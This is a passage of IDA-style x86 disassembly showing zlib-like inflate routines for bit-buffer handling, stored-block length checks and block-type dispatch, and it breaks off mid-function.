; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4C4C42 proc near ; CODE XREF: sub_4C1AC4+133p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push eax
call sub_4C4B86
add esp, 4
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+16ACh], 8
cmp [ebp+arg_C], 0
jz loc_4C4D18
mov edx, [ebp+arg_8]
and edx, 0FFFFh
and edx, 0FFh
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov eax, [ebp+arg_0]
mov eax, [eax+14h]
mov [ecx+eax], dl
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+14h], edx
mov ecx, [ebp+arg_8]
and ecx, 0FFFFh
sar ecx, 8
mov edx, [ebp+arg_0]
mov eax, [edx+8]
mov edx, [ebp+arg_0]
mov edx, [edx+14h]
mov [eax+edx], cl
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx+14h], ecx
mov eax, [ebp+arg_8]
not eax
and eax, 0FFFFh
and eax, 0FFh
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
mov ecx, [ebp+arg_0]
mov ecx, [ecx+14h]
mov [edx+ecx], al
mov edx, [ebp+arg_0]
mov eax, [edx+14h]
add eax, 1
mov ecx, [ebp+arg_0]
mov [ecx+14h], eax
mov edx, [ebp+arg_8]
not edx
and edx, 0FFFFh
sar edx, 8
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov eax, [ebp+arg_0]
mov eax, [eax+14h]
mov [ecx+eax], dl
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+14h], edx
loc_4C4D18: ; CODE XREF: sub_4C4C42+20j
; sub_4C4C42+112j
mov ecx, [ebp+arg_8]
mov edx, [ebp+arg_8]
sub edx, 1
mov [ebp+arg_8], edx
test ecx, ecx
jz short loc_4C4D56
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov edx, [ebp+arg_0]
mov eax, [edx+14h]
mov edx, [ebp+arg_4]
mov dl, [edx]
mov [ecx+eax], dl
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx+14h], ecx
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
jmp short loc_4C4D18
; ---------------------------------------------------------------------------
loc_4C4D56: ; CODE XREF: sub_4C4C42+E4j
pop ebp
retn
sub_4C4C42 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4C4D60 proc near ; CODE XREF: sub_4C0920+5Fp
; sub_4C0B75+467p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0
jz short loc_4C4D74
mov eax, [ebp+arg_8]
mov ecx, [ebp+arg_0]
mov edx, [ecx+3Ch]
mov [eax], edx
loc_4C4D74: ; CODE XREF: sub_4C4D60+7j
mov eax, [ebp+arg_0]
cmp dword ptr [eax], 4
jz short loc_4C4D84
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx], 5
jnz short loc_4C4D9B
loc_4C4D84: ; CODE XREF: sub_4C4D60+1Aj
mov edx, [ebp+arg_0]
mov eax, [edx+0Ch]
push eax
mov ecx, [ebp+arg_4]
mov edx, [ecx+28h]
push edx
mov eax, [ebp+arg_4]
call dword ptr [eax+24h]
add esp, 8
loc_4C4D9B: ; CODE XREF: sub_4C4D60+22j
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx], 6
jnz short loc_4C4DB6
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
push ecx
call sub_4C70F9
add esp, 8
loc_4C4DB6: ; CODE XREF: sub_4C4D60+41j
mov edx, [ebp+arg_0]
mov dword ptr [edx], 0
mov eax, [ebp+arg_0]
mov dword ptr [eax+1Ch], 0
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+20h], 0
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_0]
mov ecx, [eax+28h]
mov [edx+34h], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_0]
mov ecx, [eax+34h]
mov [edx+30h], ecx
mov edx, [ebp+arg_0]
cmp dword ptr [edx+38h], 0
jz short loc_4C4E15
push 0
push 0
push 0
mov eax, [ebp+arg_0]
call dword ptr [eax+38h]
add esp, 0Ch
mov ecx, [ebp+arg_0]
mov [ecx+3Ch], eax
mov edx, [ebp+arg_4]
mov eax, [ebp+arg_0]
mov ecx, [eax+3Ch]
mov [edx+30h], ecx
loc_4C4E15: ; CODE XREF: sub_4C4D60+92j
pop ebp
retn
sub_4C4D60 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4C4E17 proc near ; CODE XREF: sub_4C09F4+126p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push 40h
push 1
mov eax, [ebp+arg_0]
mov ecx, [eax+28h]
push ecx
mov edx, [ebp+arg_0]
call dword ptr [edx+20h]
add esp, 0Ch
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_4C4E40
mov eax, [ebp+var_4]
jmp loc_4C4F0B
; ---------------------------------------------------------------------------
loc_4C4E40: ; CODE XREF: sub_4C4E17+1Fj
push 5A0h
push 8
mov eax, [ebp+arg_0]
mov ecx, [eax+28h]
push ecx
mov edx, [ebp+arg_0]
call dword ptr [edx+20h]
add esp, 0Ch
mov ecx, [ebp+var_4]
mov [ecx+24h], eax
mov edx, [ebp+var_4]
cmp dword ptr [edx+24h], 0
jnz short loc_4C4E81
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+28h]
push edx
mov eax, [ebp+arg_0]
call dword ptr [eax+24h]
add esp, 8
xor eax, eax
jmp loc_4C4F0B
; ---------------------------------------------------------------------------
loc_4C4E81: ; CODE XREF: sub_4C4E17+4Dj
mov ecx, [ebp+arg_8]
push ecx
push 1
mov edx, [ebp+arg_0]
mov eax, [edx+28h]
push eax
mov ecx, [ebp+arg_0]
call dword ptr [ecx+20h]
add esp, 0Ch
mov edx, [ebp+var_4]
mov [edx+28h], eax
mov eax, [ebp+var_4]
cmp dword ptr [eax+28h], 0
jnz short loc_4C4ED5
mov ecx, [ebp+var_4]
mov edx, [ecx+24h]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+28h]
push ecx
mov edx, [ebp+arg_0]
call dword ptr [edx+24h]
add esp, 8
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+28h]
push edx
mov eax, [ebp+arg_0]
call dword ptr [eax+24h]
add esp, 8
xor eax, eax
jmp short loc_4C4F0B
; ---------------------------------------------------------------------------
loc_4C4ED5: ; CODE XREF: sub_4C4E17+8Dj
mov ecx, [ebp+var_4]
mov edx, [ecx+28h]
add edx, [ebp+arg_8]
mov eax, [ebp+var_4]
mov [eax+2Ch], edx
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_4]
mov [ecx+38h], edx
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
push 0
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_4]
push edx
call sub_4C4D60
add esp, 0Ch
mov eax, [ebp+var_4]
loc_4C4F0B: ; CODE XREF: sub_4C4E17+24j
; sub_4C4E17+65j ...
mov esp, ebp
pop ebp
retn
sub_4C4E17 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4C4F0F proc near ; CODE XREF: sub_4C0B75+400p
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
Size = dword ptr -10h
var_C = dword ptr -0Ch
Dst = dword ptr -8
Src = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 7Ch
mov eax, [ebp+arg_4]
mov ecx, [eax]
mov [ebp+Src], ecx
mov edx, [ebp+arg_4]
mov eax, [edx+4]
mov [ebp+var_1C], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+20h]
mov [ebp+var_C], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov [ebp+var_14], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+34h]
mov [ebp+Dst], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+Dst]
cmp edx, [ecx+30h]
jnb short loc_4C4F5D
mov eax, [ebp+arg_0]
mov ecx, [eax+30h]
sub ecx, [ebp+Dst]
sub ecx, 1
mov [ebp+var_54], ecx
jmp short loc_4C4F69
; ---------------------------------------------------------------------------
loc_4C4F5D: ; CODE XREF: sub_4C4F0F+3Bj
mov edx, [ebp+arg_0]
mov eax, [edx+2Ch]
sub eax, [ebp+Dst]
mov [ebp+var_54], eax
loc_4C4F69: ; CODE XREF: sub_4C4F0F+4Cj
mov ecx, [ebp+var_54]
mov [ebp+var_18], ecx
loc_4C4F6F: ; CODE XREF: sub_4C4F0F:loc_4C625Cj
mov edx, 1
test edx, edx
jz loc_4C6261
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov [ebp+var_58], ecx
cmp [ebp+var_58], 9
ja loc_4C61FD
mov edx, [ebp+var_58]
jmp ds:off_4C6265[edx*4]
loc_4C4F98: ; CODE XREF: sub_4C4F0F+12Cj
; DATA XREF: .text:off_4C6265o
cmp [ebp+var_14], 3
jnb loc_4C5040
cmp [ebp+var_1C], 0
jz short loc_4C4FB1
mov [ebp+arg_8], 0
jmp short loc_4C500C
; ---------------------------------------------------------------------------
loc_4C4FB1: ; CODE XREF: sub_4C4F0F+97j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_C]
mov [eax+20h], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_14]
mov [edx+1Ch], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_1C]
mov [ecx+4], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+Src]
sub ecx, [eax]
mov edx, [ebp+arg_4]
mov eax, [edx+8]
add eax, ecx
mov ecx, [ebp+arg_4]
mov [ecx+8], eax
mov edx, [ebp+arg_4]
mov eax, [ebp+Src]
mov [edx], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+Dst]
mov [ecx+34h], edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_4C7C50
add esp, 0Ch
jmp loc_4C6261
; ---------------------------------------------------------------------------
loc_4C500C: ; CODE XREF: sub_4C4F0F+A0j
mov eax, [ebp+var_1C]
sub eax, 1
mov [ebp+var_1C], eax
mov ecx, [ebp+Src]
xor edx, edx
mov dl, [ecx]
mov ecx, [ebp+var_14]
shl edx, cl
mov eax, [ebp+var_C]
or eax, edx
mov [ebp+var_C], eax
mov ecx, [ebp+Src]
add ecx, 1
mov [ebp+Src], ecx
mov edx, [ebp+var_14]
add edx, 8
mov [ebp+var_14], edx
jmp loc_4C4F98
; ---------------------------------------------------------------------------
loc_4C5040: ; CODE XREF: sub_4C4F0F+8Dj
mov eax, [ebp+var_C]
and eax, 7
mov [ebp+Size], eax
mov ecx, [ebp+Size]
and ecx, 1
mov edx, [ebp+arg_0]
mov [edx+18h], ecx
mov eax, [ebp+Size]
shr eax, 1
mov [ebp+var_5C], eax
cmp [ebp+var_5C], 3
ja loc_4C521E
mov ecx, [ebp+var_5C]
jmp ds:off_4C628D[ecx*4]
loc_4C5071: ; CODE XREF: sub_4C4F0F+82j
; DATA XREF: .text:off_4C628Do
mov edx, [ebp+var_C]
shr edx, 3
mov [ebp+var_C], edx
mov eax, [ebp+var_14]
sub eax, 3
mov [ebp+var_14], eax
mov ecx, [ebp+var_14]
and ecx, 7
mov [ebp+Size], ecx
mov edx, [ebp+var_C]
mov ecx, [ebp+Size]
shr edx, cl
mov [ebp+var_C], edx
mov eax, [ebp+var_14]
sub eax, [ebp+Size]
mov [ebp+var_14], eax
mov ecx, [ebp+arg_0]
mov dword ptr [ecx], 1
jmp loc_4C521E
; ---------------------------------------------------------------------------
loc_4C50AE: ; CODE XREF: sub_4C4F0F+82j
; sub_4C4F0F+15Bj
; DATA XREF: ...
mov edx, [ebp+arg_4]
push edx
lea eax, [ebp+var_2C]
push eax
lea ecx, [ebp+var_24]
push ecx
lea edx, [ebp+var_20]
push edx
lea eax, [ebp+var_28]
push eax
call sub_4C7C1B
add esp, 14h
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+var_2C]
push edx
mov eax, [ebp+var_24]
push eax
mov ecx, [ebp+var_20]
push ecx
mov edx, [ebp+var_28]
push edx
call sub_4C6350
add esp, 14h
mov ecx, [ebp+arg_0]
mov [ecx+4], eax
mov edx, [ebp+arg_0]
cmp dword ptr [edx+4], 0
jnz short loc_4C5157
mov [ebp+arg_8], 0FFFFFFFCh
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_C]
mov [eax+20h], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_14]
mov [edx+1Ch], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_1C]
mov [ecx+4], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+Src]
sub ecx, [eax]
mov edx, [ebp+arg_4]
mov eax, [edx+8]
add eax, ecx
mov ecx, [ebp+arg_4]
mov [ecx+8], eax
mov edx, [ebp+arg_4]
mov eax, [ebp+Src]
mov [edx], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+Dst]
mov [ecx+34h], edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_4C7C50
add esp, 0Ch
jmp loc_4C6261
; ---------------------------------------------------------------------------
loc_4C5157: ; CODE XREF: sub_4C4F0F+1E4j
mov eax, [ebp+var_C]
shr eax, 3
mov [ebp+var_C], eax
mov ecx, [ebp+var_14]
sub ecx, 3
mov [ebp+var_14], ecx
mov edx, [ebp+arg_0]
mov dword ptr [edx], 6
jmp loc_4C521E
; ---------------------------------------------------------------------------
loc_4C5177: ; CODE XREF: sub_4C4F0F+82j
; sub_4C4F0F+15Bj
; DATA XREF: ...
mov eax, [ebp+var_C]
shr eax, 3
mov [ebp+var_C], eax
mov ecx, [ebp+var_14]
sub ecx, 3
mov [ebp+var_14], ecx
mov edx, [ebp+arg_0]
mov dword ptr [edx], 3
jmp loc_4C521E
; ---------------------------------------------------------------------------
loc_4C5197: ; CODE XREF: sub_4C4F0F+82j
; sub_4C4F0F+15Bj
; DATA XREF: ...
mov eax, [ebp+var_C]
shr eax, 3
mov [ebp+var_C], eax
mov ecx, [ebp+var_14]
sub ecx, 3
mov [ebp+var_14], ecx
mov edx, [ebp+arg_0]
mov dword ptr [edx], 9
mov eax, [ebp+arg_4]
mov dword ptr [eax+18h], offset aInvalidBlockTy ; "invalid block type"
mov [ebp+arg_8], 0FFFFFFFDh
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_14]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_1C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+Src]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+Src]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+Dst]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_4C7C50
add esp, 0Ch
jmp loc_4C6261
; ---------------------------------------------------------------------------
loc_4C521E: ; CODE XREF: sub_4C4F0F+152j
; sub_4C4F0F+19Aj ...
jmp loc_4C625C
; ---------------------------------------------------------------------------
loc_4C5223: ; CODE XREF: sub_4C4F0F+82j
; sub_4C4F0F+3B7j
; DATA XREF: ...
cmp [ebp+var_14], 20h
jnb loc_4C52CB
cmp [ebp+var_1C], 0
jz short loc_4C523C
mov [ebp+arg_8], 0
jmp short loc_4C5297
; ---------------------------------------------------------------------------
loc_4C523C: ; CODE XREF: sub_4C4F0F+322j
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_14]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_1C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+Src]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+Src]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+Dst]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_4C7C50
add esp, 0Ch
jmp loc_4C6261
; ---------------------------------------------------------------------------
loc_4C5297: ; CODE XREF: sub_4C4F0F+32Bj
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
mov edx, [ebp+Src]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+var_14]
shl eax, cl
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+Src]
add edx, 1
mov [ebp+Src], edx
mov eax, [ebp+var_14]
add eax, 8
mov [ebp+var_14], eax
jmp loc_4C5223
; ---------------------------------------------------------------------------
loc_4C52CB: ; CODE XREF: sub_4C4F0F+318j
mov ecx, [ebp+var_C]
not ecx
shr ecx, 10h
and ecx, 0FFFFh
mov edx, [ebp+var_C]
and edx, 0FFFFh
cmp ecx, edx
jz short loc_4C535B
mov eax, [ebp+arg_0]
mov dword ptr [eax], 9
mov ecx, [ebp+arg_4]
mov dword ptr [ecx+18h], offset aInvalidStoredB ; "invalid stored block lengths"
mov [ebp+arg_8], 0FFFFFFFDh
mov edx, [ebp+arg_0]
mov eax, [ebp+var_C]
mov [edx+20h], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_14]
mov [ecx+1Ch], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_1C]
mov [eax+4], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+Src]
sub eax, [edx]
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
add edx, eax
mov eax, [ebp+arg_4]
mov [eax+8], edx
mov ecx, [ebp+arg_4]
mov edx, [ebp+Src]
mov [ecx], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+Dst]
mov [eax+34h], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4C7C50
add esp, 0Ch
jmp loc_4C6261
; ---------------------------------------------------------------------------
loc_4C535B: ; CODE XREF: sub_4C4F0F+3D5j
mov edx, [ebp+var_C]
and edx, 0FFFFh
mov eax, [ebp+arg_0]
mov [eax+4], edx
mov [ebp+var_14], 0
mov ecx, [ebp+var_14]
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
cmp dword ptr [edx+4], 0
jz short loc_4C5389
mov [ebp+var_60], 2
jmp short loc_4C5399
; ---------------------------------------------------------------------------
loc_4C5389: ; CODE XREF: sub_4C4F0F+46Fj
mov eax, [ebp+arg_0]
mov ecx, [eax+18h]
neg ecx
sbb ecx, ecx
and ecx, 7
mov [ebp+var_60], ecx
loc_4C5399: ; CODE XREF: sub_4C4F0F+478j
mov edx, [ebp+arg_0]
mov eax, [ebp+var_60]
mov [edx], eax
jmp loc_4C625C
; ---------------------------------------------------------------------------
loc_4C53A6: ; CODE XREF: sub_4C4F0F+82j
; DATA XREF: .text:004C626Do
cmp [ebp+var_1C], 0
jnz short loc_4C5407
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_14]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_1C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+Src]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+Src]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+Dst]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_4C7C50
add esp, 0Ch
jmp loc_4C6261
; ---------------------------------------------------------------------------
loc_4C5407: ; CODE XREF: sub_4C4F0F+49Bj
cmp [ebp+var_18], 0
jnz loc_4C5573
mov ecx, [ebp+arg_0]
mov edx, [ebp+Dst]
cmp edx, [ecx+2Ch]
jnz short loc_4C5461
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_0]
mov edx, [eax+30h]
cmp edx, [ecx+28h]
jz short loc_4C5461
mov eax, [ebp+arg_0]
mov ecx, [eax+28h]
mov [ebp+Dst], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+Dst]
cmp eax, [edx+30h]
jnb short loc_4C544F
mov ecx, [ebp+arg_0]
mov edx, [ecx+30h]
sub edx, [ebp+Dst]
sub edx, 1
mov [ebp+var_64], edx
jmp short loc_4C545B
; ---------------------------------------------------------------------------
loc_4C544F: ; CODE XREF: sub_4C4F0F+52Dj
mov eax, [ebp+arg_0]
mov ecx, [eax+2Ch]
sub ecx, [ebp+Dst]
mov [ebp+var_64], ecx
loc_4C545B: ; CODE XREF: sub_4C4F0F+53Ej
mov edx, [ebp+var_64]
mov [ebp+var_18], edx
loc_4C5461: ; CODE XREF: sub_4C4F0F+50Bj
; sub_4C4F0F+519j
cmp [ebp+var_18], 0
jnz loc_4C5573
mov eax, [ebp+arg_0]
mov ecx, [ebp+Dst]
mov [eax+34h], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4C7C50
add esp, 0Ch
mov [ebp+arg_8], eax
mov edx, [ebp+arg_0]
mov eax, [edx+34h]
mov [ebp+Dst], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+Dst]
cmp edx, [ecx+30h]
jnb short loc_4C54B0
mov eax, [ebp+arg_0]
mov ecx, [eax+30h]
sub ecx, [ebp+Dst]
sub ecx, 1
mov [ebp+var_68], ecx
jmp short loc_4C54BC
; ---------------------------------------------------------------------------
loc_4C54B0: ; CODE XREF: sub_4C4F0F+58Ej
mov edx, [ebp+arg_0]
mov eax, [edx+2Ch]
sub eax, [ebp+Dst]
mov [ebp+var_68], eax
loc_4C54BC: ; CODE XREF: sub_4C4F0F+59Fj
mov ecx, [ebp+var_68]
mov [ebp+var_18], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+Dst]
cmp eax, [edx+2Ch]
jnz short loc_4C5512
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_0]
mov eax, [ecx+30h]
cmp eax, [edx+28h]
jz short loc_4C5512
mov ecx, [ebp+arg_0]
mov edx, [ecx+28h]
mov [ebp+Dst], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+Dst]
cmp ecx, [eax+30h]
jnb short loc_4C5500
mov edx, [ebp+arg_0]
mov eax, [edx+30h]
sub eax, [ebp+Dst]
sub eax, 1
mov [ebp+var_6C], eax
jmp short loc_4C550C
; ---------------------------------------------------------------------------
loc_4C5500: ; CODE XREF: sub_4C4F0F+5DEj
mov ecx, [ebp+arg_0]
mov edx, [ecx+2Ch]
sub edx, [ebp+Dst]
mov [ebp+var_6C], edx
loc_4C550C: ; CODE XREF: sub_4C4F0F+5EFj
mov eax, [ebp+var_6C]
mov [ebp+var_18], eax
loc_4C5512: ; CODE XREF: sub_4C4F0F+5BCj
; sub_4C4F0F+5CAj
cmp [ebp+var_18], 0
jnz short loc_4C5573
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_14]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_1C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+Src]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+Src]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+Dst]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_4C7C50
add esp, 0Ch
jmp loc_4C6261
; ---------------------------------------------------------------------------
loc_4C5573: ; CODE XREF: sub_4C4F0F+4FCj
; sub_4C4F0F+556j ...
mov [ebp+arg_8], 0
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
mov [ebp+Size], edx
mov eax, [ebp+Size]
cmp eax, [ebp+var_1C]
jbe short loc_4C5591
mov ecx, [ebp+var_1C]
mov [ebp+Size], ecx
loc_4C5591: ; CODE XREF: sub_4C4F0F+67Aj
mov edx, [ebp+Size]
cmp edx, [ebp+var_18]
jbe short loc_4C559F
mov eax, [ebp+var_18]
mov [ebp+Size], eax
loc_4C559F: ; CODE XREF: sub_4C4F0F+688j
mov ecx, [ebp+Size]
push ecx ; Size
mov edx, [ebp+Src]
push edx ; Src
mov eax, [ebp+Dst]
push eax ; Dst
call _memcpy_1
add esp, 0Ch
mov ecx, [ebp+Src]
add ecx, [ebp+Size]
mov [ebp+Src], ecx
mov edx, [ebp+var_1C]
sub edx, [ebp+Size]
mov [ebp+var_1C], edx
mov eax, [ebp+Dst]
add eax, [ebp+Size]
mov [ebp+Dst], eax
mov ecx, [ebp+var_18]
sub ecx, [ebp+Size]
mov [ebp+var_18], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+4]
sub eax, [ebp+Size]
mov ecx, [ebp+arg_0]
mov [ecx+4], eax
mov edx, [ebp+arg_0]
cmp dword ptr [edx+4], 0
jz short loc_4C55F4
jmp loc_4C625C
; ---------------------------------------------------------------------------
loc_4C55F4: ; CODE XREF: sub_4C4F0F+6DEj
mov eax, [ebp+arg_0]
mov ecx, [eax+18h]
neg ecx
sbb ecx, ecx
and ecx, 7
mov edx, [ebp+arg_0]
mov [edx], ecx
jmp loc_4C625C
; ---------------------------------------------------------------------------
loc_4C560B: ; CODE XREF: sub_4C4F0F+82j
; sub_4C4F0F+79Fj
; DATA XREF: ...
cmp [ebp+var_14], 0Eh
jnb loc_4C56B3
cmp [ebp+var_1C], 0
jz short loc_4C5624
mov [ebp+arg_8], 0
jmp short loc_4C567F
; ---------------------------------------------------------------------------
loc_4C5624: ; CODE XREF: sub_4C4F0F+70Aj
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_C]
mov [eax+20h], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_14]
mov [edx+1Ch], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_1C]
mov [ecx+4], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+Src]
sub ecx, [eax]
mov edx, [ebp+arg_4]
mov eax, [edx+8]
add eax, ecx
mov ecx, [ebp+arg_4]
mov [ecx+8], eax
mov edx, [ebp+arg_4]
mov eax, [ebp+Src]
mov [edx], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+Dst]
mov [ecx+34h], edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_4C7C50
add esp, 0Ch
jmp loc_4C6261
; ---------------------------------------------------------------------------
loc_4C567F: ; CODE XREF: sub_4C4F0F+713j
mov eax, [ebp+var_1C]
sub eax, 1
mov [ebp+var_1C], eax
mov ecx, [ebp+Src]
xor edx, edx
mov dl, [ecx]
mov ecx, [ebp+var_14]
shl edx, cl
mov eax, [ebp+var_C]
or eax, edx
mov [ebp+var_C], eax
mov ecx, [ebp+Src]
add ecx, 1
mov [ebp+Src], ecx
mov edx, [ebp+var_14]
add edx, 8
mov [ebp+var_14], edx
jmp loc_4C560B
; ---------------------------------------------------------------------------
loc_4C56B3: ; CODE XREF: sub_4C4F0F+700j
mov eax, [ebp+var_C]
and eax, 3FFFh
mov [ebp+Size], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+Size]
mov [ecx+4], edx
